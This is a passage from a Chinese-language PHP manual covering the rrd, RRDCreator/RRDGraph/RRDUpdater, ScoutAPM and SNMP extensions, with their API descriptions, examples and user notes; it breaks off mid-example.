从 rrd 文件中获取第一个样本的时间戳

  • ? rrd_fetch
  • rrd_graph ?
  • PHP Manual
  • RRD 函数
  • 从 rrd 文件中获取第一个样本的时间戳

rrd_first

(PECL rrd >= 0.9.0)

rrd_first — 从 rrd 文件中获取第一个样本的时间戳

说明

rrd_first(string $file, int $raaindex = 0): int

从 RRD 文件中指定的 RRA 返回第一个数据样本。

参数

file

RRD 数据库文件名。

raaindex

要检索的 RRA 索引。默认值为 0。

返回值

Unix 时间戳整数， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


从数据创建图像

  • ? rrd_first
  • rrd_info ?
  • PHP Manual
  • RRD 函数
  • 从数据创建图像

rrd_graph

(PECL rrd >= 0.9.0)

rrd_graph — 从数据创建图像

说明

rrd_graph(string $filename, array $options): array

从 RRD 文件的详细数据创建图像。

参数

filename

输出的图表文件名。根据输出的格式，文件通常是 .png、.svg 或 .eps 格式。

options

生成图像的选项。请参阅 rrd graph 手册以获取所有可用选项。允许使用所有选项（数据定义、变量定义等）。

返回值

返回包含生成图像信息的数组， 或者在失败时返回 false。

User Contributed Notes

geekcom 10-Jan-2020 04:20
For a rrdgraph doc/man page see:

https://docs.oracle.com/cd/E88353_01/html/E37839/rrdgraph-1.html
Anonymous 09-Jan-2020 02:48
This documentation page is useless ...

"See man page of rrd graph for all possible options"

I thought I am looking at the documentation, of not, why not provide a link ?
info at ukee dot nl 27-Feb-2015 09:39
When using style features like:  --font TITLE:13:Times
use in your code: --font=TITLE:13:Times

the "=" is missing in the documentation
Anonymous 30-Jul-2013 11:16
When I add

--font AXIS:8:

into $options,

I receive the next error:

PNG creation error: unknown option '--font AXIS:8:'

According to docs from rrdtool site the right syntax is:

[-n|--font FONTTAG:size:[font]]

This lets you customize which font to use for the various text elements on the RRD graphs. DEFAULT sets the default value for all elements, TITLE for the title, AXIS for the axis labels, UNIT for the vertical unit label, LEGEND for the graph legend, WATERMARK for the watermark on the edge of the graph.

Use Times for the title: --font TITLE:13:Times

Note that you need to quote the argument to --font if the font-name contains whitespace: --font "TITLE:13:Some Font"

If you do not give a font string you can modify just the size of the default font: --font TITLE:13:.
Dk 05-Jul-2013 05:55
You can get the latest RRD Error by simply doing print_r(rrd_error()) immediately after the rrd_graph() call.
Matt C 13-May-2012 08:38
Note; apache server requires write access to the folder in which the image is to be created otherwise no image file is produced, and (unhelpfully) no error is generated.


获取 rrd 文件有关信息

  • ? rrd_graph
  • rrd_last ?
  • PHP Manual
  • RRD 函数
  • 获取 rrd 文件有关信息

rrd_info

(PECL rrd >= 0.9.0)

rrd_info — 获取 rrd 文件有关信息

说明

rrd_info(string $filename): array

返回有关 RRD 数据库文件的特定信息。

参数

file

RRD 数据库文件名。

返回值

有关请求的 RRD 文件的信息数组， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


获取最后一个样本的 Unix 时间戳

  • ? rrd_info
  • rrd_lastupdate ?
  • PHP Manual
  • RRD 函数
  • 获取最后一个样本的 Unix 时间戳

rrd_last

(PECL rrd >= 0.9.0)

rrd_last — 获取最后一个样本的 Unix 时间戳

说明

rrd_last(string $filename): int

返回 RRD 数据库最近更新的 UNIX 时间戳。

参数

filename

RRD 数据库文件名。

返回值

RRD 数据库中最新的整数 Unix 时间戳。

User Contributed Notes

There are no user contributed notes for this page.


获取有关上次更新数据的信息

  • ? rrd_last
  • rrd_restore ?
  • PHP Manual
  • RRD 函数
  • 获取有关上次更新数据的信息

rrd_lastupdate

(PECL rrd >= 0.9.0)

rrd_lastupdate — 获取有关上次更新数据的信息

说明

rrd_lastupdate(string $filename): array

从最近更新的 RRD 数据库文件中获取每个日期存储的 UNIX 时间戳和值的数组。

参数

file

RRD 数据库文件名。

返回值

最后更新的信息数组， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


从 XML 转储中恢复 RRD 文件

  • ? rrd_lastupdate
  • rrd_tune ?
  • PHP Manual
  • RRD 函数
  • 从 XML 转储中恢复 RRD 文件

rrd_restore

(PECL rrd >= 0.9.0)

rrd_restore — 从 XML 转储中恢复 RRD 文件

说明

rrd_restore(string $xml_file, string $rrd_file, array $options = ?): bool

从 XML 存储中恢复 RRD 文件。

参数

xml_file

带有原始 RRD 数据库文件转储的 XML 文件名。

rrd_file

要恢复的 RRD 数据库文件名称。

options

恢复的选项数组。详情见 rrd restore 手册页。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


调整 RRD 数据库文件头选项

  • ? rrd_restore
  • rrd_update ?
  • PHP Manual
  • RRD 函数
  • 调整 RRD 数据库文件头选项

rrd_tune

(PECL rrd >= 0.9.0)

rrd_tune — 调整 RRD 数据库文件头选项

说明

rrd_tune(string $filename, array $options): bool

更改 RRD 数据库头文件中的一些选项，例如：重命名数据源等。

参数

filename

RRD 数据库文件名。

options

要修改的 RRD 数据库文件属性选项。请参阅 rrd tune 手册页获取详细信息。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


更新 RRD 数据库

  • ? rrd_tune
  • rrd_version ?
  • PHP Manual
  • RRD 函数
  • 更新 RRD 数据库

rrd_update

(PECL rrd >= 0.9.0)

rrd_update — 更新 RRD 数据库

说明

rrd_update(string $filename, array $options): bool

更新 RRD 数据库文件。输入数据根据 RRD 数据库文件属性进行时间对齐。

参数

filename

RRD 数据库文件名。要更新的数据库。

options

更新 RRD 数据库的可选项。是一个字符串列表。查看 rrd update 的 man 页面以获取完整的选项列表。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

m[dot]reza[dot]hamedany[at]gmail[dot]com 25-Jul-2017 11:27
class rrdUpdate {

    public function rrdFilesUpdate($id,$value){

        $rrdFile ="/path/to/file/".$id.rrd;

        $time = time();

            $ret = rrd_update($rrdFile, "$time:$value");
            return $ret;
            if (!$ret) {
                echo "<b>update error: </b>" . rrd_error() . "\n";
            }
        }
    }


获取底层 rrdtool 库的相关信息

  • ? rrd_update
  • rrd_xport ?
  • PHP Manual
  • RRD 函数
  • 获取底层 rrdtool 库的相关信息

rrd_version

(PECL rrd >= 1.0.0)

rrd_version — 获取底层 rrdtool 库的相关信息

说明

rrd_version(): string

返回底层 rrdtool 的相关信息。

参数

此函数没有参数。

返回值

rrdtool 版本的字符串版本号。例如："1.4.3"。

User Contributed Notes

There are no user contributed notes for this page.


导出 RRD 数据库的相关信息

  • ? rrd_version
  • rrdc_disconnect ?
  • PHP Manual
  • RRD 函数
  • 导出 RRD 数据库的相关信息

rrd_xport

(PECL rrd >= 0.9.0)

rrd_xport — 导出 RRD 数据库的相关信息

说明

rrd_xport(array $options): array

导出 RRD 数据库文件的相关信息。这些数据可以通过用户空间的 PHP 脚本转换为 XML 文件，然后再恢复为 RRD 数据库文件。

参数

options

导出的数组选项，可以通过 rrd xport 手册查看。

返回值

有关 RRD 数据库文件信息的数组， 或者在失败时返回 false。

User Contributed Notes

Peter R 01-Dec-2023 09:45
A small example of connecting to an rrdcached daemon (This one running on localhost, but works across network as well) and getting in and output bits from an interface.

$options = array(
    '--daemon', '127.0.0.1:42217',
    '--start', time() - 3600,
    'DEF:in_oct=rrdfile.rrd:INOCTETS:AVERAGE',
    'DEF:out_oct=rrdfile.rrd:OUTOCTETS:AVERAGE',
    'CDEF:in_bits=in_oct,8,*',
    'CDEF:out_bits=out_oct,8,*',
    'XPORT:in_bits',
    'XPORT:out_bits'
  );

$result = rrd_xport($options);

var_dump($result);
mrezahamedany 25-Jul-2017 05:12
an example that shows the usage of this method ( tested in php version 5.6.30 )

class Rrd{
    public function getData($id , $start , $end)
    {
        $step = 300 ;
        $rrdFile ="/path/to/file/'.$id.rrd";

        try{
            $options = ["--start", $start , "--end", $end ,"-- step",$step,"DEF:out=$rrdFile:name:AVERAGE", "XPORT:out:test"];
            $result = rrd_xport($options);
            $datas = $result['data'][0]['data'];
            foreach($datas as $data => $value){

                if( is_nan($value) === true ) $value = 0 ;
                    $output[] = [$data=>$value] ;
            }
            return json_encode($output);

        }catch (Exception $e){

            dd($e->getMessage());
        }

    }
}


关闭所有未完成的 rrd 缓存守护进程连接

  • ? rrd_xport
  • RRDCreator ?
  • PHP Manual
  • RRD 函数
  • 关闭所有未完成的 rrd 缓存守护进程连接

rrdc_disconnect

(PECL rrd >= 1.1.2)

rrdc_disconnect — 关闭所有未完成的 rrd 缓存守护进程连接

说明

rrdc_disconnect(): void

关闭所有未完成的 rrd 缓存守护进程的连接。

此函数会在 PHP 进程终止时自动调用。调用时机取决于使用的 SAPI。例如，会在命令行脚本结束时自动调用。

用户可以自己决定是否在每次请求结束时调用此函数。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The RRDCreator class

(PECL rrd >= 0.9.0)

简介

Class for creation of RRD database file.

类摘要

class RRDCreator {
/* 方法 */
public __construct(string $path, string $startTime = ?, int $step = 0)
public addArchive(string $description): void
public addDataSource(string $description): void
public save(): bool
}

Table of Contents

  • RRDCreator::addArchive — Adds RRA - archive of data values for each data source
  • RRDCreator::addDataSource — Adds data source definition for RRD database
  • RRDCreator::__construct — Creates new RRDCreator instance
  • RRDCreator::save — Saves the RRD database to a file

User Contributed Notes

There are no user contributed notes for this page.


Adds RRA - archive of data values for each data source

  • ? RRDCreator
  • RRDCreator::addDataSource ?
  • PHP Manual
  • RRDCreator
  • Adds RRA - archive of data values for each data source

RRDCreator::addArchive

(PECL rrd >= 0.9.0)

RRDCreator::addArchive — Adds RRA - archive of data values for each data source

说明

public RRDCreator::addArchive(string $description): void

Adds RRA definition by description of archive. Archive consists of a number of data values or statistics for each of the defined data-sources (DS). Data sources are defined by method RRDCreator::addDataSource(). You need call this method for each requested archive.

参数

description

Definition of archive - RRA. This has same format as RRA definition in rrd create command. See man page of rrd create for more details.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Adds data source definition for RRD database

  • ? RRDCreator::addArchive
  • RRDCreator::__construct ?
  • PHP Manual
  • RRDCreator
  • Adds data source definition for RRD database

RRDCreator::addDataSource

(PECL rrd >= 0.9.0)

RRDCreator::addDataSource — Adds data source definition for RRD database

说明

public RRDCreator::addDataSource(string $description): void

RRD can accept input from several data sources (DS), e.g incoming and outgoing traffic. This method adds data source by description. You need call this method for each data source.

参数

description

Definition of data source - DS. This has same format as DS definition in rrd create command. See man page of rrd create for more details.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Creates new RRDCreator instance

  • ? RRDCreator::addDataSource
  • RRDCreator::save ?
  • PHP Manual
  • RRDCreator
  • Creates new RRDCreator instance

RRDCreator::__construct

(PECL rrd >= 0.9.0)

RRDCreator::__construct — Creates new RRDCreator instance

说明

public RRDCreator::__construct(string $path, string $startTime = ?, int $step = 0)

Creates new RRDCreator instance.

参数

path

Path for newly created RRD database file.

startTime

Time for the first value in RRD database. Parameter supports all formats which are supported by rrd create call.

intstep

Base interval in seconds with which data will be fed into the RRD database.

User Contributed Notes

There are no user contributed notes for this page.


Saves the RRD database to a file

  • ? RRDCreator::__construct
  • RRDGraph ?
  • PHP Manual
  • RRDCreator
  • Saves the RRD database to a file

RRDCreator::save

(PECL rrd >= 0.9.0)

RRDCreator::save — Saves the RRD database to a file

说明

public RRDCreator::save(): bool

Saves the RRD database into file, which name is defined by RRDCreator::__construct().

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


The RRDGraph class

(PECL rrd >= 0.9.0)

简介

Class for exporting data from RRD database to image file.

类摘要

class RRDGraph {
/* 方法 */
public __construct(string $path)
public save(): array
public saveVerbose(): array
public setOptions(array $options): void
}

Table of Contents

  • RRDGraph::__construct — Creates new RRDGraph instance
  • RRDGraph::save — Saves the result of query into image
  • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph
  • RRDGraph::setOptions — Sets the options for rrd graph export

User Contributed Notes

Anonymous 01-Dec-2016 02:38
On Windows if you get "Cannot parse DS in 'DEF:rr=C:/Users/xxx/code/monitor/speed_gauge.rrd:value:MAX'" error on Windows. This may mean that rrdtool does not like ":" on your file name - it needs to be replaced with "\:"

Atleast for me fixed that issue if I replace colon "str_replace(':', '\\:', $rrdPath);"


Creates new RRDGraph instance

  • ? RRDGraph
  • RRDGraph::save ?
  • PHP Manual
  • RRDGraph
  • Creates new RRDGraph instance

RRDGraph::__construct

(PECL rrd >= 0.9.0)

RRDGraph::__construct — Creates new RRDGraph instance

说明

public RRDGraph::__construct(string $path)

Creates new RRDGraph instance. This instance is responsible for rendering the result of RRD database query into image.

参数

path

Full path for the newly created image.

User Contributed Notes

There are no user contributed notes for this page.


Saves the result of query into image

  • ? RRDGraph::__construct
  • RRDGraph::saveVerbose ?
  • PHP Manual
  • RRDGraph
  • Saves the result of query into image

RRDGraph::save

(PECL rrd >= 0.9.0)

RRDGraph::save — Saves the result of query into image

说明

public RRDGraph::save(): array

Saves the result of RRD database query into image defined by RRDGraph::__construct().

参数

此函数没有参数。

返回值

Returns array with information about generated image, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Saves the RRD database query into image and returns the verbose information about generated graph

  • ? RRDGraph::save
  • RRDGraph::setOptions ?
  • PHP Manual
  • RRDGraph
  • Saves the RRD database query into image and returns the verbose information about generated graph

RRDGraph::saveVerbose

(PECL rrd >= 0.9.0)

RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph

说明

public RRDGraph::saveVerbose(): array

Saves the RRD database query into image file defined by method RRDGraph::__construct() and returns the verbose information about generated graph, if "-" is used as image filename, image data are also returned in result array.

参数

此函数没有参数。

返回值

Returns array with detailed information about generated image, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Sets the options for rrd graph export

  • ? RRDGraph::saveVerbose
  • RRDUpdater ?
  • PHP Manual
  • RRDGraph
  • Sets the options for rrd graph export

RRDGraph::setOptions

(PECL rrd >= 0.9.0)

RRDGraph::setOptions — Sets the options for rrd graph export

说明

public RRDGraph::setOptions(array $options): void

参数

options

List of options for the image generation from the RRD database file. It can be list of strings or list of strings with keys for better readability. Read the rrd graph man pages for list of available options.

返回值

没有返回值。

示例

Example #1 RRDGraph::setOptions() example

<?php
$graphObj->setOptions(array(
"--start" => "920804400",
"--end" => 920808000,
"--vertical-label" => "m/s",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
));
?>

Example #2 Set multiple color options

<?php
$graphObj->setOptions(array(
"--start" => "920804400",
"--end" => 920808000,
"--vertical-label" => "m/s",
"--color=BACK#00000000",
"--color=GRID#00000000",
"--color=MGRID#00000000",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
));
?>

Don't use key value syntax for same rrd option. It looks more readable, but it doesn't work.

<?php
$graphObj->setOptions(array(
"--color" => "BACK#00000000",
"--color" => "GRID#00000000",
"--color" => "MGRID#00000000"
));
?>

In nature of php it's same as

<?php
$graphObj->setOptions(array(
"--color" => "MGRID#00000000"
));
?>

User Contributed Notes

There are no user contributed notes for this page.


The RRDUpdater class

(PECL rrd >= 0.9.0)

简介

Class for updating RDD database file.

类摘要

class RRDUpdater {
/* 方法 */
public __construct(string $path)
public update(array $values, string $time = time() ): bool
}

Table of Contents

  • RRDUpdater::__construct — Creates new RRDUpdater instance
  • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.


Creates new RRDUpdater instance

  • ? RRDUpdater
  • RRDUpdater::update ?
  • PHP Manual
  • RRDUpdater
  • Creates new RRDUpdater instance

RRDUpdater::__construct

(PECL rrd >= 0.9.0)

RRDUpdater::__construct — Creates new RRDUpdater instance

说明

public RRDUpdater::__construct(string $path)

Creates new RRDUpdater instance. This instance is responsible for updating the RRD database file.

参数

path

Filesystem path for RRD database file, which will be updated.

User Contributed Notes

There are no user contributed notes for this page.


Update the RRD database file

  • ? RRDUpdater::__construct
  • ScoutAPM ?
  • PHP Manual
  • RRDUpdater
  • Update the RRD database file

RRDUpdater::update

(PECL rrd >= 0.9.0)

RRDUpdater::update — Update the RRD database file

说明

public RRDUpdater::update(array $values, string $time = time() ): bool

Updates the RRD file defined via RRDUpdater::__construct(). The file is updated with a specific values.

参数

values

Data for update. Key is data source name.

time

Time value for updating the RRD with a particular data. Default value is current time.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws a Exception on error.

示例

Example #1 RRDUpdater::update() examples

<?php
$updator = new RRDUpdater("speed.rrd");
//updates the data source "speed" with value "12411"
//for time defined by timestamp "920807700"
$updator->update(array("speed" => "12411"), "920807700");
?>

User Contributed Notes

There are no user contributed notes for this page.


ScoutAPM

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • 预定义常量
  • Scoutapm 函数
    • scoutapm_get_calls — Returns a list of instrumented calls that have occurred
    • scoutapm_list_instrumented_functions — List functions scoutapm will instrument.

User Contributed Notes

There are no user contributed notes for this page.


简介

Note: 此扩展在 Windows 平台上不可用。

ScoutAPM's extension for PHP provides additional capabilities to application monitoring over just using the base PHP userland library.

User Contributed Notes

There are no user contributed notes for this page.


需求

  • PHP >= 7.1.0
  • Windows is not currently supported

User Contributed Notes

There are no user contributed notes for this page.


安装

This extension is available on PECL. Run:

$ sudo pecl install scoutapm
You may need to add Scout to your php.ini, for example:
extension=scoutapm.so

User Contributed Notes

There are no user contributed notes for this page.


Scoutapm 函数

Table of Contents

  • scoutapm_get_calls — Returns a list of instrumented calls that have occurred
  • scoutapm_list_instrumented_functions — List functions scoutapm will instrument.

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of instrumented calls that have occurred

  • ? Scoutapm 函数
  • scoutapm_list_instrumented_functions ?
  • PHP Manual
  • Scoutapm 函数
  • Returns a list of instrumented calls that have occurred

scoutapm_get_calls

(PECL scoutapm >= 1.0.0)

scoutapm_get_calls — Returns a list of instrumented calls that have occurred

说明

scoutapm_get_calls(): array

Returns a list of any instrumented function calls since scoutapm_get_calls() was last called. The list is cleared each time the function is called.

参数

此函数没有参数。

返回值

scoutapm_get_calls() returns an array containing a list of all recorded calls to instrumented function calls.

示例

Example #1 Fetch instrumented calls

<?php

file_get_contents('a.txt');
file_get_contents('b.txt');

print_r(scoutapm_get_calls());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [function] => file_get_contents
            [entered] => 1576839727.7934
            [exited] => 1576839727.7935
            [time_taken] => 2.7894973754883E-5
            [argv] => Array
                (
                    [0] => a.txt
                )

        )

    [1] => Array
        (
            [function] => file_get_contents
            [entered] => 1576839727.7935
            [exited] => 1576839727.7935
            [time_taken] => 7.8678131103516E-6
            [argv] => Array
                (
                    [0] => b.txt
                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


List functions scoutapm will instrument.

  • ? scoutapm_get_calls
  • SNMP ?
  • PHP Manual
  • Scoutapm 函数
  • List functions scoutapm will instrument.

scoutapm_list_instrumented_functions

(PECL scoutapm >= 1.0.2)

scoutapm_list_instrumented_functions — List functions scoutapm will instrument.

说明

scoutapm_list_instrumented_functions(): array

Returns a list of the functions the extension will instrument.

参数

此函数没有参数。

返回值

scoutapm_list_instrumented_functions() returns an array containing a list of all functions that the scoutapm extension is able to instrument in the current installation.

示例

Example #1 Fetch the list of functions scoutapm will instrument

<?php
print_r(scoutapm_list_instrumented_functions());
?>

以上示例的输出类似于：

Array
(
    [0] => file_get_contents
    [1] => file_put_contents
    [2] => fopen
    [3] => fread
    [4] => fwrite
    [5] => pdo->exec
    [6] => pdo->query
    [7] => pdo->prepare
    [8] => pdostatement->execute
)

User Contributed Notes

There are no user contributed notes for this page.


SNMP

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SNMP 函数
    • snmp_get_quick_print — 获取当前 NET-SNMP 库的 quick_print 设置的值
    • snmp_get_valueretrieval — Return the method how the SNMP values will be returned
    • snmp_read_mib — Reads and parses a MIB file into the active MIB tree
    • snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer
    • snmp_set_oid_numeric_print — 别名 snmp_set_oid_output_format
    • snmp_set_oid_output_format — Set the OID output format
    • snmp_set_quick_print — 在 NET-SNMP 库中设置 enable 的值
    • snmp_set_valueretrieval — Specify the method how the SNMP values will be returned
    • snmp2_get — Fetch an SNMP object
    • snmp2_getnext — Fetch the SNMP object which follows the given object id
    • snmp2_real_walk — Return all objects including their respective object ID within the specified one
    • snmp2_set — Set the value of an SNMP object
    • snmp2_walk — Fetch all the SNMP objects from an agent
    • snmp3_get — Fetch an SNMP object
    • snmp3_getnext — Fetch the SNMP object which follows the given object id
    • snmp3_real_walk — Return all objects including their respective object ID within the specified one
    • snmp3_set — Set the value of an SNMP object
    • snmp3_walk — Fetch all the SNMP objects from an agent
    • snmpget — 获取 SNMP 对象
    • snmpgetnext — Fetch the SNMP object which follows the given object id
    • snmprealwalk — 返回指定的所有对象，包括它们各自的对象 ID
    • snmpset — 设置 SNMP 对象的值
    • snmpwalk — 从代理获取所有 SNMP 对象
    • snmpwalkoid — 查询有关网络实体的信息树
  • SNMP — The SNMP class
    • SNMP::close — Close SNMP session
    • SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent
    • SNMP::get — Fetch an SNMP object
    • SNMP::getErrno — Get last error code
    • SNMP::getError — Get last error message
    • SNMP::getnext — Fetch an SNMP object which follows the given object id
    • SNMP::set — Set the value of an SNMP object
    • SNMP::setSecurity — Configures security-related SNMPv3 session parameters
    • SNMP::walk — Fetch SNMP object subtree
  • SNMPException — The SNMPException class

User Contributed Notes

There are no user contributed notes for this page.


简介

SNMP 扩展提供了非常简单易用的工具集，用于通过简单网络管理协议管理远程设备。

由于是底层 Net-SNMP 库的封装协议，所有基本概念都是相同的，并且 PHP 函数会根据 Net-SNMP 配置文件和环境变量更改其行为。

有关 Net-SNMP 的更多信息，请访问 » http://www.net-snmp.org/

User Contributed Notes

There are no user contributed notes for this page.


需求

In order to use the SNMP functions requires installation of the » Net-SNMP package. SNMPv3 functions available only when » OpenSSL package is installed too.

Net-SNMP version 5.3+ is required for Unix installations and Net-SNMP version 5.4+ for Windows.

User Contributed Notes

There are no user contributed notes for this page.


安装

» Net-SNMP 的 Windows 版本， 在目录 mibs中包含了支持 SNMP 的文件。此目录应该作为 MIBDIRS 被添加到 Windows 的环境变量中，其值是 mibs 目录的完整路径。 例如 c:\usr\mibs。

User Contributed Notes

bug404 at free dot fr 07-Sep-2014 05:00
If net-snmp was not installed in default c:\usr folder (which may be the case for most peoples used to Windows instead of Linux), then, you should also create SNMP_PERSISTENT_DIR system environment variable with "persistent" folder location (located in snmp folder).
Otherwise, php will will create its own persistant folder in c:/usr/snmp/persistent folder, which is probably not what you want !


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

For the snmp_set_oid_output_format()
SNMP_OID_OUTPUT_SUFFIX (int)
SNMP_OID_OUTPUT_MODULE (int)
SNMP_OID_OUTPUT_FULL (int)
SNMP_OID_OUTPUT_NUMERIC (int)
SNMP_OID_OUTPUT_UCD (int)
SNMP_OID_OUTPUT_NONE (int)
For the snmp_set_valueretrieval()
SNMP_VALUE_LIBRARY (int)
SNMP_VALUE_PLAIN (int)
SNMP_VALUE_OBJECT (int)
SNMP types as returned if SNMP_VALUE_OBJECT was used with snmp_set_valueretrieval()
SNMP_BIT_STR (int)
SNMP_OCTET_STR (int)
SNMP_OPAQUE (int)
SNMP_NULL (int)
SNMP_OBJECT_ID (int)
SNMP_IPADDRESS (int)
SNMP_COUNTER (int)
SNMP_UNSIGNED (int)
SNMP_TIMETICKS (int)
SNMP_UINTEGER (int)
SNMP_INTEGER (int)
SNMP_COUNTER64 (int)

User Contributed Notes

There are no user contributed notes for this page.


SNMP 函数

Table of Contents

  • snmp_get_quick_print — 获取当前 NET-SNMP 库的 quick_print 设置的值
  • snmp_get_valueretrieval — Return the method how the SNMP values will be returned
  • snmp_read_mib — Reads and parses a MIB file into the active MIB tree
  • snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer
  • snmp_set_oid_numeric_print — 别名 snmp_set_oid_output_format
  • snmp_set_oid_output_format — Set the OID output format
  • snmp_set_quick_print — 在 NET-SNMP 库中设置 enable 的值
  • snmp_set_valueretrieval — Specify the method how the SNMP values will be returned
  • snmp2_get — Fetch an SNMP object
  • snmp2_getnext — Fetch the SNMP object which follows the given object id
  • snmp2_real_walk — Return all objects including their respective object ID within the specified one
  • snmp2_set — Set the value of an SNMP object
  • snmp2_walk — Fetch all the SNMP objects from an agent
  • snmp3_get — Fetch an SNMP object
  • snmp3_getnext — Fetch the SNMP object which follows the given object id
  • snmp3_real_walk — Return all objects including their respective object ID within the specified one
  • snmp3_set — Set the value of an SNMP object
  • snmp3_walk — Fetch all the SNMP objects from an agent
  • snmpget — 获取 SNMP 对象
  • snmpgetnext — Fetch the SNMP object which follows the given object id
  • snmprealwalk — 返回指定的所有对象，包括它们各自的对象 ID
  • snmpset — 设置 SNMP 对象的值
  • snmpwalk — 从代理获取所有 SNMP 对象
  • snmpwalkoid — 查询有关网络实体的信息树

User Contributed Notes

Chris 01-Nov-2007 01:50
Here's a fresh list of API for SNMPv1, SNMPv2c, and SNMPv3 as of PHP 5.2.4:

SNMPv1
------
string snmpget(string host, string community, string object_id [, int timeout [, int retries]]);

string snmpgetnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmpwalk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmprealwalk(string host, string community, string object_id [, int timeout [, int retries]]);

bool snmp_get_quick_print(void);

void snmp_set_quick_print(int quick_print);

void snmp_set_enum_print(int enum_print);

void snmp_set_oid_output_format(int oid_format);

int snmpset(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv2c
-------
string snmp2_get(string host, string community, string object_id [, int timeout [, int retries]]);

string snmp2_getnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_walk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_real_walk(string host, string community, string object_id [, int timeout [, int retries]]);

int snmp2_set(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv3
------
int snmp3_get(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_getnext(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_real_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_set(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id, string type, mixed value [, int timeout [, int retries]]);

General
-------
int snmp_set_valueretrieval(int method);

int snmp_get_valueretrieval();

int snmp_read_mib(string filename);

SNMPv3 options
--------------
SNMPv3 offers a different authentication/authorization scheme than previous versions of SNMP.  To aid in using the API listed above, here is a brief explanation of each of the unique parameters used in the snmp3_* functions.

$sec_name - the "username" used for authentication to the system

$sec_level - the authentication scheme ('noAuthNoPriv', 'authNoPriv', or 'authPriv')

$auth_protocol - the encryption protocol used for authentication ('MD5' [default] or 'SHA')

$auth_passphrase - the encrypted key to use as the authentication challenge

$priv_protocol - the encryption protocol used for protecting the protocol data unit ('DES' [default], 'AES128', 'AES192', or 'AES256')

$priv_passphrase - the key to use for encrypting the protocol data unit

There are good code snippets available on http://forums.cacti.net/about5403.html for more information.
1413 at blargh dot com 10-Nov-2005 01:29
For my purposes in PHP coding, I have the following SNMP options set, always.  These aren't documented very well in PHP's docs, but they make dealing with the SNMP results a LOT easier:

<?php
// Return back the numeric OIDs, instead of text strings.
snmp_set_oid_numeric_print(1);

// Get just the values.
snmp_set_quick_print(TRUE);

// For sequence types, return just the numbers, not the string and numbers.
snmp_set_enum_print(TRUE);

// Don't let the SNMP library get cute with value interpretation.  This makes
// MAC addresses return the 6 binary bytes, timeticks to return just the integer
// value, and some other things.
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
?>


获取当前 NET-SNMP 库的 quick_print 设置的值

  • ? SNMP 函数
  • snmp_get_valueretrieval ?
  • PHP Manual
  • SNMP 函数
  • 获取当前 NET-SNMP 库的 quick_print 设置的值

snmp_get_quick_print

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp_get_quick_print — 获取当前 NET-SNMP 库的 quick_print 设置的值

说明

snmp_get_quick_print(): bool

返回当前 NET-SNMP 库中存储的 quick_print 值。 quick_print 默认为 off。

参数

此函数没有参数。

返回值

如果 quick_print 为 on，返回 true 否则为 false。

示例

Example #1 snmp_get_quick_print() 示例

<?php
$quickprint = snmp_get_quick_print();
?>

参见

  • snmp_set_quick_print() - 在 NET-SNMP 库中设置 enable 的值 查看 quick_print 的详细说明。

User Contributed Notes

antic 23-Feb-2003 05:13
This can be used to parse the returned values depending on the quick print setting. For example sysUpTime might look something like this: "Timeticks: (34575334) 4 days, 0:02:33.34", but if quick print is enabled it will be on the form: "4:0:2:33.34". To get the same output you can parse it differently, something like:

if(@ $sysUpTime = snmpget($switch,$community,"system.sysUpTime.0")){
    if(snmp_get_quick_print()){
       sscanf($sysUpTime, "%d:%d:%d:%d.%d",$day,$hour,$minute,$sec,$ticks);
        $sysUpTime = "$day days, $hour:$minute:$sec.$ticks";
    }else{
